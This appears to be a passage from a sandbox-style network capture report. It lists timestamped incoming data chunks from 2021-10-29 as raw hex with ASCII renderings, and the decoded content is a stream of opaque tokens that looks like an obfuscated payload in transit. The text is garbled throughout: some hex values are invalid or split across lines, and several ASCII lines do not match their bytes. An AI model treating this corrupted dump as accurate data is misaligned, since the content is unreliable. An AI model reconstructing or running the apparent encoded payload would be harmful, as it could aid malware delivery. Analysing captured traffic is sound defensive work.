oY 00 Oxo kO RY QE EQ OOK EE EO Q OOt kY tx Qk YE O Ex Ex OOo tx kO RY QE EQ OOK Yt o OQ kE Qo RY YK Y
O 0E O Yx YO RK kY kR kE Yk R ok Oo ok RY Kk Qt kY YE ok

2021-10-29 18:30:02 UTC 1924 IN Data Raw: 78 6f 20 6b 4b 20 59 6f 20 4f 4f 74 20 4b 20 4f 4f 6f 20 51 4b 20 4b 6b 20 6b 74 20 59 4b 20 4f 6f 6f 20 4f 4f 4b
20 45 4b 20 4f 78 51 20 6f 20 59 78 20 6b 51 20 59 78 20 52 52 20 6b 4b 20 6f 45 20 4f 4f 74 20 52 45 20 4f 4f 6f 20 4f 6f
59 20 4b 6b 20 4f 4f 52 20 59 4b 20 6f 51 20 4f 4f 4b 20 59 74 20 4f 78 51 20 59 45 20 59 78 20 6f 4f 20 59 78 20 4f 78 52
20 6b 4b 20 59 4f 20 4f 4f 74 20 6f 51 20 4f 4f 6f 20 52 52 20 4b 6b 20 4f 4f 52 20 59 4b 20 52 4f 20 4f 4f 4b 20 6f 59 20 4f
78 51 20 6f 4f 20 59 78 20 45 78 20 59 78 20 51 74 20 6b 4b 20 78 20 4f 4f 74 20 4b 20 4f 4f 6f 20 74 78 20 4b 6b 20 6b 74
20 59 4b 20 4f 52 20 4f 4f 4b 20 6f 78 20 4f 78 51 20 4b 20 59 78 20 6b 4f 20 59 78 20 4f 78 52 20 6b 4b 20 45 6f 20 4f 4f
74 20 6f 20 4f 4f 6f 20 6b 45 20
Data Ascii: xo kK Yo OOt K 000 QK Kk kt YK Ooo OOK EK OxQ o Yx kQ Yx RR kK oE OOt RE OO0 OoY Kk OOR YK
0Q OOK Yt OxQ YE Yx 00 Yx OxR kK YO OOt 0Q OO0 RR Kk OOR YK RO OOK oY OxQ 00 Yx Ex Yx Qt kK x OOt K
000 tx Kk kt YK OR OOK ox OxQ K Yx kO Yx OxR kK Eo OOt 0 OOo kE

2021-10-29 18:30:02 UTC 1940 IN Data Raw: 59 20 4f 6f 4b 20 51 52 20 4f 6f 74 20 51 45 20 59 4f 20 52 6f 20 45 51 20 45 52 20 4f 6f 4f 20 4f 4f 59 20 4f 6f
45 20 4f 4f 6f 20 4f 6f 52 20 59 6b 20 52 6f 20 4b 6b 20 4b 45 20 74 78 20 6f 4b 6f 20 6f 6f 78 20 4f 6f 78 20 51 74 20 4f 4f
20 4b 51 20 52 78 20 59 52 20 74 78 20 4f 51 20 4f 4f 51 20 4f 78 4f 20 4f 6f 78 20 45 6f 20 4f 74 52 20 4f 59 59 20 59 52
20 6b 4f 20 4f 4f 4b 20 4f 4f 52 20 4f 4f 6f 20 4f 6f 52 20 52 78 20 59 4b 20 4f 6b 20 59 4b 20 74 45 20 51 52 20 6f 4b 59 20
4f 51 52 20 4f 4f 74 20 4f 6b 20 4b 51 20 4b 6b 20 45 74 20 6b 4b 20 51 4b 20 4f 4f 4b 20 4f 6f 52 20 4f 78 4f 20 45 6f 20 6f
51 20 59 4f 20 45 52 20 6f 4f 45 20 4f 4f 4b 20 4f 6f 74 20 4f 6f 78 20 51 6b 20 74 20 4b 51 20 52 78 20 59 52 20 74 45 20
4f 6f 4b 20 4f 6f 45 20 4f
Data Ascii: Y OoK QR Oot QE YO Ro EQ ER 000 OOY OoE OO0 OoR Yk Ro Kk KE tx oKo oox Oox Qt OO KQ Rx YR tx
0Q 00Q OxO Oox Eo OtR OYY YR kO OOK OOR OO0 OoR Rx YK Ok YK tE QR oKY OQR OOt Ok KQ Kk Et kk QK
OOK OoR OxO Eo 0Q YO ER 0OE OOK Oot Oox Qk t KQ Rx YR tE OoK OoE O

2021-10-29 18:30:02 UTC 1956 IN Data Raw: 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 6f 6b 20 4f 78 78 20 6b 45 20 45 6b 20 4f 20 6f 6b 20 6f 20 45 78
20 4f 59 20 74 78 20 52 20 6f 4b 20 4f 78 78 20 4f 4f 59 20 4f 4f 74 20 59 74 20 4f 6f 52 20 45 6b 20 4f 4f 6b 20 52 4b 20
6b 74 20 59 74 20 6f 45 20 6f 20 6f 20 6f 20 6b 51 20 4f 4f 52 20 51 4f 20 52 51 20 45 52 20 45 78 20 6f 78 20 6f 78 20 52
6f 20 6b 45 20 51 45 20 6b 74 20 45 6b 20 4f 6f 6f 20 52 78 20 4b 6b 20 59 74 20 6b 78 20 4f 4f 52 20 52 52 20 6b 45 20
51 4f 20 4b 51 20 59 20 6f 52 20 45 4f 20 6f 74 20 4f 6b 20 4b 20 52 4f 20 59 59 20 6b 4b 20 4f 4f 59 20 4f 4f 74 20 59 74
20 4f 6f 52 20 59 4b 20 4f 6f 52 20 6b 45 20 51 4f 20 4b 51 20 4f 4f 45 20 52 78 20 51 20 52 59 20 52 4f 20 4b 51 20 59 78
20 59 59 20 6b 4b 20 45 6b 20 4f 6f 45 20
Data Ascii: Yt oE 0 0 0 kQ ok Oxx kE Ek O ok 0 Ex OY tx R oK Oxx OOY OOt Yt OoR Ek OOk RK kt Yt oE 0 0 0 kQ OOR
QO RQ ER Ex ox ox Ro kE QE kt Ek Ooo Rx Kk Yt kx OOR RR kE QO KQ Y oR EO ot Ok K RO YY kK OOY OOt Yt OoR
YK OoR kE QO KQ OOE Rx Q RY RO KQ Yx YY kK Ek OoE
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2021-10-29 18:30:02 UTC 1972 IN Data Raw: 4f 4f 20 6b 4b 20 45 74 20 4f 4f 74 20 6f 4f 20 4f 4f 6f 20 52 59 20 4b 6b 20 4f 78 4b 20 59 4b 20 4f 6f 20 4f 4f
4b 20 45 52 20 4f 78 51 20 59 51 20 59 78 20 6b 4f 20 59 78 20 4f 6f 52 20 6b 4b 20 4b 6b 20 4f 4f 74 20 45 20 4f 4f 6f 20
6b 78 20 4b 6b 20 4f 4f 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 6f 52 20 4f 78 51 20 4b 6f 20 59 78 20 6f 20 59 78 20 4f 78 6b
20 6b 4b 20 74 20 4f 4f 74 20 4f 6f 20 4f 4f 6f 20 4f 4f 74 20 4b 6b 20 4f 6 78 20 59 4b 20 59 6b 20 4f 4f 4b 20 6f 6f 20 4f
78 51 20 59 59 20 59 78 20 52 4b 20 59 78 20 51 45 20 6b 4b 20 4b 78 20 4f 4f 74 20 59 6b 20 4f 4f 6f 20 74 20 4b 6b 20
52 74 20 59 4b 20 4f 4b 20 4f 4f 4b 20 74 4f 20 4f 78 51 20 52 59 20 59 78 20 51 4f 20 59 78 20 4f 78 6b 20 6b 4b 20 52 4b
20 4f 4f 74 20 6b 4b 20 4f 4f 6f 20
Data Ascii: OO kK Et OOt 00 OO0 RY Kk OxK YK Oo OOK ER OxQ YQ Yx kO Yx OoR kK Kk OOt E OO0 kx Kk OOt YK
OK OOK oR OxQ Ko Yx 0 Yx Oxk kK t OOt Oo OO0 OOt Kk Oox YK Yk OOK 00 OxQ YY Yx RK Yx QE kK Kx OOt Yk
000 t Kk Rt YK OK OOK tO OxQ RY Yx QO Yx Oxk kK RK OOt kk OO0

2021-10-29 18:30:02 UTC 1988 IN Data Raw: 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4Af 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 Af 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20 4f Af 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20
Af 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f
20 59 78 20 4b 6b 20 59 78 20 59 4b 20 6b 4b 20 4f 4f 4b 20 4f 4f 74 20 4f 78 51 20 4f 4f 6f 20 59 78 20 4b 6b 20 59 78 20
59 4b 20 6b 4b 20 4f 4f 4b 20
Data Ascii: kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx
YK kK OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kK
OOK OO0t OxQ 000 Yx Kk Yx YK kk OOK OOt OxQ OO0 Yx Kk Yx YK kk OOK

2021-10-29 18:30:02 UTC 2004 IN Data Raw: 45 6f 20 59 78 20 78 20 78 20 78 20 4b 78 20 6f 6b 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 59 20 78 20 78
20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 4b 78 20 59 52 20 78 20 78 20 4f 78 20 78 20 45 6f 20 74 52 20 78 20 78 20 78
20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 52 20 78 20 6f 59 4b 20 4f 4b 20 6f 6b 20 78 20 6f 59 4b 20 4f 6f
20 6f 6b 20 78 20 59 74 20 52 20 78 20 78 20 78 20 59 52 20 45 51 20 78 20 78 20 78 20 78 20 78 20 45 6f 20 74 51 20
78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 6f 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 20 78 20 78 20 78 20 6f
4f 4b 20 6f 59 4b 20 4f 4b 20 6f 74 20 78 20 6f 59 4b 20 4f 6f 20 6f 74 20 78 20 45 6f 20 4f 78 20 78 20 78 20 78 20 52 6f
20 4f 6f 59 20 6f 59 59 20 6f 59 59 20 6f 59 59
Data Ascii: Eo Yx x x x Kx ok X x Ox x Eo tY x x X 0YK OK 0 x Kx YR x X Ox X E0 tR x X x oYK OK 0 x 0YK Oo oR x oYK
OK ok x 0YK O0 0k X YR xX X YR EQ x X X X X E0 tQ X x X oYK OK 0 x 0YK Oo ot x Eo O x x x 00K oYK OK ot x oYK Oo
ot x Eo Ox x x X Ro OoY oYY oYY oYY

2021-10-29 18:30:02 UTC 2020 IN Data Raw: 78 20 78 20 78 20 6f 59 45 20 51 20 78 20 78 20 45 74 20 4f 78 20 78 20 78 20 4f 59 20 78 20 78 20 78 20 45
20 4f 78 20 78 20 78 20 6f 74 20 4b 6b 20 4f 4f 20 78 20 4f 52 6b 20 45 20 78 20 78 20 4f 59 20 78 20 78 20 4f 74 20 4f 4b
78 20 6f 74 20 78 20 78 20 4f 20 78 20 78 20 4b 78 20 74 20 78 20 78 20 4f 78 20 78 20 45 6f 20 6f 59 4b 20 6f 59 59 20 6f
59 59 20 6f 59 59 20 6f 59 4b 20 4f 4b 20 4f 20 78 20 45 6f 20 6f 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78 20 4f
6f52 20 74 74 20 78 20 78 20 4f 78 20 6f 59 4b 20 51 20 78 20 78 20 45 6f 20 78 20 78 20 78 20 78 20 4f 4f 4f 20 4b 6b
20 78 20 78 20 4f 78 20 6f 59 4b 20 4f 4b 20 4b 20 78 20 45 6f 20 45 20 78 20 78 20 78 20 6f 59 4b 20 4f 4b 20 45 20 78
20 4b 45 20 52 20 6f 59 4b 20 6f 6f 20 6b 45 20
Data Ascii: X X X OYE Q X X Et Ox X x OY X x X E Ox x x ot Kk OO x ORk E x x OY x x Ot OKx ot X x O x X Kx t X X Ox x Eo
oYK oYY oYY oYY oYK OK O x Eo 0 x X X 0OYK OK E x OoR tt x x Ox oYK Q x X Eo x x X x OO0 Kk x x Ox oYK OK K x Eo
E x x X 0YK OK E x KE R 0YK 00 kE

2021-10-29 18:30:02 UTC 2036 IN Data Raw: 20 4f 59 74 20 45 74 20 45 6f 20 78 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 6f 20 45
4f 20 4f 78 59 20 4f 59 74 20 4f 4f 59 20 4f 45 52 20 78 20 78 20 4f 78 20 4b 6f 20 78 20 78 20 4f 51 20 4b 6b 20 4b 20 78
20 6f 20 4f 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 6f 6b 20 4f 4b 4f 20 4f 4f 59 20 78 20 78 20 4f 20 45 74 20 45 6f 20
5920 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59
7420 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20
45 4f 20 59 45 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20
45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f
Data Ascii: OYt Et Eo x x x x EO OxO OYt Et 00 EO OxY OYt OOY OER x x Ox Ko x x OQ Kk K x 0 O x x E x x Ot ok
OKO OOY xxOEtEoYxxXEO YtOYtEtEo Y xx X EO Qt OYtEtEo Y X x X EO YY OYtEt Eo Y x X x EO YE OYt Et ot
EO Oxo OYt Et Eo K x x X EO Qt OYt Et Eo

2021-10-29 18:30:02 UTC 2052 IN Data Raw: 4f 4f 59 20 4f 74 78 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 6f 52 20 4f 78 6b 20 78 20 78 20 4f 78 20 4b 78
20 4f 4f 52 20 78 20 78 20 4f 78 20 4f 51 20 6f 78 20 4f 74 20 6f 78 20 4b 4b 20 4f 6b 20 78 20 45 20 4b 78 20 51 52 20 78
20 78 20 52 20 4b 78 20 4f 45 20 78 20 78 20 4f 78 20 4f 4f 59 20 4f 74 4f 20 78 20 78 20 4f 78 20 4f 6f 6f 20 52 20 4f 51
20 6f 4f 20 4b 45 20 78 20 4f 74 20 6f 4f 20 4b 6f 20 78 20 78 20 52 59 20 6f 6b 20 78 20 78 20 78 20 78 20 78 20 78 20 74
20 78 20 78 20 78 20 6f 4f 59 20 4f 20 78 20 78 20 6f 6f 6f 20 4f 20 78 20 78 20 4f 45 20 78 20 78 20 78 20 6f 20 78 20 78
20 4f 20 4f 51 20 4b 6b 20 4b 20 78 20 74 52 20 45 20 78 20 78 20 45 20 78 20 78 20 4f 74 20 45 4f 20 6f 78 20 4f 4b 4f
20 4f 4f 59 20 78 20 78 20 4f 20 45 74
Data Ascii: OOY Otx x x Ox Ooo R OoR Oxk x x Ox Kx OOR x x Ox OQ ox Ot ox KK Ok x E Kx QR x x R Kx OE x x Ox O
QY OtO x x Ox 000 R OQ 00 KE x Ot 00 Ko X X RY ok X X X X X X t X X X 00Y O X X 000 O x X OE x X X 0 X X O OQ Kk K x
tR E x x E x x Ot EO ox OKO OQY x x O Et

2021-10-29 18:30:02 UTC 2068 IN Data Raw: 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 4f 45 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20
45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 59
45 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 4f 6f 20 78
20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 4f 6f 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 4f
4f 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59
74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78 20 45 4f 20 59 45 20 4f 59 74 20 45 74 20 45 6f 20 4f 4f 20 78 20 78 20 78
20 45 4f 20 4f 78 6f 20 4f 59 74 20 45
Data Ascii: x x EO Kk OYt Et EO OE EO Oxk OYt Et Eo Oo x x x EO YE OYt Et Eo Oo x x x EO YE OYt Et Eo Oo0 x x X EO
Kk OYt Et Eo Oo x x x EO Yt OYt Et EO Oo EO Qt OYt Et Eo OO x x x EO YK OYt Et Eo OO x x X EO YO OYt Et Eo OO x
x X EO YE OYt Et Eo OO x x x EO Oxo OYtE

2021-10-29 18:30:02 UTC 2083 IN Data Raw: 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78
20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f
2052 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f
2059 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f
59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78
20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20
78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20
Data Ascii: t EOR xx X EO KQ OYtEt EOR x x x EO YR OYt Et EoO R x x x EO Kk OYt Et EO R x x X EO YR OYt Et ok EO
QQOYtEtEoY xxXx EO YO OYtEtEo Y xx X EO QQ OYtEtEo Y x X x EO YY OYtEt Eo Y x x X EO OxO OYt Et ot EO
OO0 OYt Et Eo K x x x EO Qk OYt Et Eo
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:30:02 UTC 2099 IN Data Raw: 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45
4520 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20
4f 59 74 20 45 74 20 45 4f 20 45 45 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f
20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f
20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 45 6f 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45
6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 59
52 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20
Data Ascii: OYt Et Eo EE x x X EO YR OYt Et Eo EE x x x EO QQ OYt Et Eo EE x x x EO OxO OYt Et EO EE EO OxY OYt
Et Eo Eo x x x EO Kk OYt Et Eo Eo x x x EO YY OYt Et Eo Eo x x x EO Yt OYt Et EO Eo EO Oxk OYt Et Eo EO x x x EO
Oxo OYt Et Eo EO x x x EO YR OYt Et Eo EO

2021-10-29 18:30:02 UTC 2115 IN Data Raw: 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 59 20 45 4f
20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 51
4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20
4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f
2051 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51
45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20
45 6f 20 51 6f 20 78 20 78 20 78 20 45 4f 20 4f
Data Ascii: Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt Et
Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x Xx EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x X EO
Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x Xx EO O

2021-10-29 18:30:02 UTC 2131 IN Data Raw: 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 20 4f 59
74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20
45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 6f 6b 20
45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20
59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f
59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f
59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20
Data Ascii: Eotx x x EO Kk OYt Et 0Q EO OxQ OYt Et Eo R x x X EO Qt OYt EtEo R x x X EO Qk OYt Et Eo R x x X EO
Qt OYt Et ok EO OxO OYtEtEo Y x x X EO Qt OYt Et Eo Y x X x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO OOR
OYtEtEo Kx x X EO YtOYt Et EOK X x

2021-10-29 18:30:02 UTC 2147 IN Data Raw: 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 20 4f 6f
6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f
4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 6f 52 20
6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 59 20 45
59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 20 6f 20
6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20 6b 52 2
0 4f 6f 6b 20 4f 4b 45 20 59 52 20
Data Ascii: k OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o kR
Ook KY OOx EY o kR Ook 00R kx EY 0 kR Ook YO YR EY 0 kR Ook Oox oY EY o kR Ook Ek tR EY 0 kR Ook QO OOx E
Y o kR Ook OkO RK EY 0 kR Ook OxY OOE EY o kR Ook OKE YR

2021-10-29 18:30:02 UTC 2163 IN Data Raw: 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45
20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20
52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f
78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51
20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f
78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20
6f 4b 78 20 4f 20 4f 6f 45 20 45 20 51 20
Data Ascii: O KEE Q x Okx OKKkE Q x Okk O YEE Q x Okk O YKE Q x OQo OREE Q x OQR O RKE Q x oxx O tE E
QxoxKOtkEQxoxkOKEEQx0000 kk EQ x00R O QE EQ x00ox O Qk E Q x 00K O OxE E Q x ook O Oxk E Q x
0E0o O OOE E Q x 0ER O OOk E Q x oKx O OoE E Q

2021-10-29 18:30:02 UTC 2179 IN Data Raw: 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20
4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 41
20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78
20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f
20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20
74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20
51 74 20 4f 78 6b 20
Data Ascii: t OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OXE OxY OOY OOR OOK 000 tY OxO 000 kx
Ox0 OOK OxQ OxY O0Y OOY OxY OO0 OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OO0 QQ to tO Oxk OO0 Qk Qt Oxk
x tx OOK OxO OxO to tO Oxk OO0 Qk Qt Oxk x tt Qt OOK OOY OxK Qt Oxk

2021-10-29 18:30:02 UTC 2195 IN Data Raw: 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f
6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20
4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 2
0 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f
45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45
20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f
45 45 20 4f 4b 51
Data Ascii: 0 0o0Y Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx 0oY OkO Oto ooY OkO OkR ooY Oko OEXx x oEE
OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE
OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE OKQ

